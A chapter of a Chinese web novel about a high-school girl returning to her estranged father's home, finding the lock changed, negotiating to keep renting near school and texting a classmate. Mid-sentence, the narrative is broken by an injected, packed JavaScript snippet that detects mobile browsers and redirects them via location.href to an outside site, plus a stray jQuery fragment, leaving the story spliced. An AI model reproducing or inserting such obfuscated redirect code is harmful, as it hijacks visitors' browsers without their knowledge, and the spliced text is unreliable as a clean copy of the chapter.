姜彬剪完头发，一身清爽，哪怕只剪了短短一指宽的长度。
她乘地铁回家，刚出站，望着熟悉的街道，心中莫名空落落的。
难道是忘了什么东西吗？
她取下一边的书包，靠着墙翻书包，确定家里的钥匙还在后，松了口气，然后利索地拉上拉链，往家里走。
初秋的日落很慢，待她回到家门口时，太阳早就没了影。
她走出电梯的那一刻，就开始取钥匙，准备开门。
如果敲门，只会等到开门人的不耐烦表情，斥责她怎么不知道动手开门，若是因为忘带钥匙，那批评声更严重了。
然而这一回，姜彬被难住了。
光秃秃的钥匙被她攥住，悬在半空，进退两难，同她一起发怔——家里换成密码锁了。
姜彬缓缓抬头看了眼门牌号，确认无误后，目光重新回到密码锁上。
什么时候换的密码锁？怎么没人通知她？甚至知道她今晚要回来，却不提前告诉密码？
长时间的安静，过道里的声控灯灭了，姜彬眸光也暗了。
她和这个钥匙一样，在这家里，早已没了他们的位置。
白色瓷砖反射出绿色通道的绿色光，在黑暗中宛如幽幽鬼火，姜彬心情沉重不过一瞬，就收起钥匙，假装不在意。
幸福的秘诀就是习惯坏事的发生，不害怕也不在意。
对于姜彬来说，这很管用。
她叩了两下门，然后静静立在门前，与贸然拜访的客人别无二致。
脸上带着浅浅的、似有若无的笑，仿佛这个插曲没影响到她的心情。
门里传出乒乒乓乓的脚步声，越发清晰，顿了两秒后，门“砰”的一声敞开了，过道也重新亮起。
快两个月没见了，姜彬同姜柏立四目相对，两人眼里有如出一辙的惊讶。
姜柏立很快适应了，干笑两声，极力掩饰父女间的生疏，“怎么这么晚才到？又不自己开门，我刚才在浇花，差点没听到敲门，你小妈在厨房做饭，做你爱吃的糖醋排骨。”
姜彬进门，语气平淡：“不知道密码。”
她低着头找拖鞋，然而放在鞋架外的只有三双外穿的鞋子，两大一小，没有拖鞋。她弯腰打开柜门，才看到自己从前穿的拖鞋，在最下面一层的角落里。
姜柏立听了她的话后，猛地一拍脑门，后知后觉道：“忘了给你说，家里换指纹锁了，待会儿让小妈给你录指纹。以前的钥匙就扔了吧，现在用不上了。”
既然和这个家配对了十几年的钥匙可以扔了，那人呢？
姜彬没问出声，仅点点头，“嗯”了一声。
厨房里的那位闻声出来，赶到玄关处，手拿锅铲，腰系围裙，微笑着说：“小彬回来啦。”
姜彬移开眼神，一板一眼地说：“小妈好。”
姜柏立指着梁如月：“你给姜彬录下指纹，家里刚换了指纹锁还没来得及告诉她，正巧碰上了，就现在解决，那个锁怎么换指纹的你还记得吧。”
姜彬被围在玄关处，不知道该先去卧室放书包还是转身退至门外录指纹，索性按兵不动，看梁如月要说什么。
结果梁如月脸上露难，仿佛在让她证明哥德巴赫猜想似的，踌躇道：“怎么录指纹来着……我待会儿看看，你们先进来，哟！锅里还煮着东西呢。”
说完她就小跑回厨房，那里的确冒了一阵烟。
其实刚刚进门前，姜彬注意到了门锁上的印有使用说明书的薄膜还未撕下，上面写了如何录入新指纹。
但梁如月说忘了，那就忘了吧。
姜彬这辈子的主动都用在了学习上，其余方面，她不爱主动求来的东西。
依旧什么也没说，同本就没多在意的姜柏立进屋。
“宝宝，手洗了没！别碰这肉，唉，你个小馋猫。”
厨房传出梁如月的声音。
姜彬头抬都没抬，不必猜，便知道这是姜家昊在厨房偷吃，被说之后，也只是舔舔看不见指关节的手，继续躲在梁如月身后拈肉。
这种场景不用假装，她是真的习惯了。
梁如月夹起嗓子，似在对姜家昊说，又似特意说给某人听：“宝宝，你姐姐回来了怎么也不去打个招呼？前几天刚换了锁，姐姐今天就回来了，好像是生怕我们忘了，所以早点回来。你快去给姐姐说下密码，免得姐姐进不来。”
姜家昊满嘴都是油，全然没把妈妈的话听进去，只有听了最后一句祈使句，他才本能地反抗：“不去。”
能少走几步是几步。
姜彬面无表情地坐到姜柏立对面的沙发上，书包就在身边，看着像随时都有可能离开。
老实说，出了地铁站后，她看着从小生活长大的街区，情不自禁地多了些眷恋，也对这个家有些期待。
直到现在，她逐渐发现期待是种微妙的暴力。
专心致志看球赛的姜柏立移开眼神，给自己又倒了杯茶，悠然开口：“最近学习怎么样？回家住吧。”
最近一直在军训，没上课。
姜彬也盯着电视，手指微微蜷起，有一搭没一搭地抠沙发边：“高中学习内容挺难的。不回家住了，现在租的房子离学校近，上下学方便，可以腾出时间学习。”
“嗯。”姜柏立呷了口茶，“那你可以住校啊，不是更方便吗？”
“……”
话是没错，但姜彬打心底对集体生活的宿舍机制抵触，她对睡眠极其看重，无法容忍别人的作息习惯，也不想强迫别人接受自己的小毛病。
她坐直，瞥了眼姜柏立：“一个人住，晚上可以开大灯学习，还是一个人方便。而且以前我也是走读生，习惯了走读，不想花时间适应宿舍生活。”
姜柏立全程盯着电视，眼神随球员的步伐移动，半晌才开口：“但是你一个女孩子，一个人住外面不安全。”
姜彬：“不会的，我租的小区是学区房，里面有很多学校的老师和同学，保安叔叔和我很熟，监控无死角，不会有意外的。”
她铁了心要住校外，不肯住宿，更不肯回家。
怕姜柏立不同意，她补充了一句：“而且我房租都交了，房东不会退的。学校床位紧张，现在再去办住校，老师肯定不同意的。”
之前在电话里，没谈拢的话大不了挂电话，让彼此冷静冷静。可现在面对面，没说服姜柏立的话，被打都算轻的了，极有可能被锁在屋里反思。
姜彬小心翼翼地劝说，同时期望电视转播里的球
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310902|198836||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
员获胜。
好在接近赛点时，姜柏立支持的球队临门一脚射中了，场内爆发出排山倒海的欢呼，姜柏立也按耐不住激动，拍了两下手，心情格外好道：“行吧，你一个人注意安全，考试成绩及时告诉我，但凡退步，就老老实实回家或住校，给你二选一的权力。”
这回轮到姜彬欢呼了，但她仍面无表情，不敢泄漏一丝喜悦。
嘴唇紧闭地“嗯”了一声。
放心吧，她永远也不会有使用这个权力的一天，姜彬心想。
电视上插播广告，姜柏立起身去餐厅拿热水壶，姜彬感受到口袋里震动了一下，她取出手机，就看见了新的消息弹窗。
yw.：[夜不归宿？]
“……”
姜彬皱眉，怀疑余温有官瘾，六年管纪律，一生纪律委员作风，现在连她回不回出租屋都要管了。
她还没回，下一条消息又弹出来了。
yw.：[你不回来的话我就锁门了，我一个人在家要好好保护自己]
yw.：[摘你帽子是我不对，但退一步来说，你这么小气就对吗？]
yw.：[怎么已读不回？]
姜彬被吓了一跳，不知道他怎么知道她已读不回的，难道说微信更新出显示“已读不回”的功能了？
那她宁愿用短信联系。
她想了想，认真敲下一行字：“你怎么知道我已读不回？”
yw.：[还真是？]
木木三：[……]
yw：[锁门了，你想回来都难，除非]
姜彬不解，除非什么？
yw.：[除非求我]
姜彬在屏幕背后翻了个白眼，可惜他看不见。在发送完“建议你把小区大门也锁了”这句话后，关了手机。
幼稚。
每当这种时刻她就在想，那些吹嘘他的人知道他私底下这么幼稚吗？
果然，人不能只看脸。
姜彬偷偷在心里吐槽余温，不过几秒，她察觉自己对余温太过关注后，摇了摇头，试图把脑浆晃匀，擦去这些无关紧要的事。
讨厌也是一种在意。
姜彬不希望有任何人会波及到她的情绪。
正巧饭做好了，梁如月端着一盘盘菜往餐桌上搁，陶瓷碗碰到大理石桌发出叮当声。
她主动去厨房拿碗筷，准备入座吃饭。
姜柏立最后入座，带着嘴就来了，不光用来吃，还用来说话。
“彬彬，我同事的女儿也在你们学校念书。”
姜彬点点头，没说话，只顾着吃饭。碗里还有一块糖醋排骨，是姜柏立给她夹的，她一口都未动。
没人问，但姜柏立还是要讲完：“她学习好得很呢，在竞赛班，参加数学竞赛，将来直接保送华清，都不用高考。”
姜彬又点了点头，表示知道了。
除此之外，她还知道只有入选国家集训队才有保送华清的资格。而且准备竞赛需要巨大的毅力与精力，当然天赋也不可或缺。可在姜柏立眼里，只有最好的结果，其中的艰苦都被抹去。
姜柏立见她不上心，有点不悦，索性开门见山地问：“你要不要也去竞赛？中考状元竞赛，岂不是很简单？”